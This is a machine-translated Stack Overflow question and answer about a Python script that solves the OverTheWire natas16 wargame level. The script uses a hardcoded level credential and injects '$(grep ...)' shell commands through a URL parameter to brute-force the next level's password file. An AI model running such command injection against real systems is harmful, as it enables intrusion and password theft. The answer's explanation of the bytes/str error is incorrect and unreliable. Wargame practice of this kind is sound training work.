我在这里遇到了一个问题,当我尝试运行下面的代码时,它不起作用,并显示如下的文本消息:“
目标可达。开始字符解析..。追溯(最近一次调用):文件"C:\Users\hoangcode\Desktop\main.py",第25行,if r.content.find(existsStr) != -1: TypeError:需要一个类似字节的对象,而不是'str‘
这里的代码:
import requests
allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
parsedChars = ''
password = ''
target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/'
existsStr = 'Output:\n<pre>\n</pre>'
r = requests.get(target)
if r.status_code != requests.codes.ok:
raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
print ("Target reachable. Starting character parsing...")
for c in allChars:
r = requests.get(target+'?needle=$(grep '+c+' /etc/natas_webpass/natas17)whacked')
if r.content.find(existsStr) != -1:
parsedChars += c
print ('Used chars: ' + parsedChars)
print ("Characters parsed. Starting brute force...")
for i in range(32):
for c in parsedChars:
r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)whacked')
if r.content.find(existsStr) != -1:
password += c
print ('Password: ' + password + '*' * int(32 - len(password)))
break
print ("Done. Have fun!")发布于 2017-04-23 15:18:02
这是因为requests.code.ok是一个内部表示为字节的对象,而requests.status_code则返回一个整数,所以您要将int与一个字节对象进行比较,因此会出现错误。因此,为了检查您得到了ok响应,您需要使用相应的int代码,因此您的代码将是
if response.status_code != 200:
raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
print ("Target reachable. Starting character parsing...")我希望您知道响应的状态代码,但为了您的参考,我添加了响应码列表。
https://stackoverflow.com/questions/43571184
复制相似问题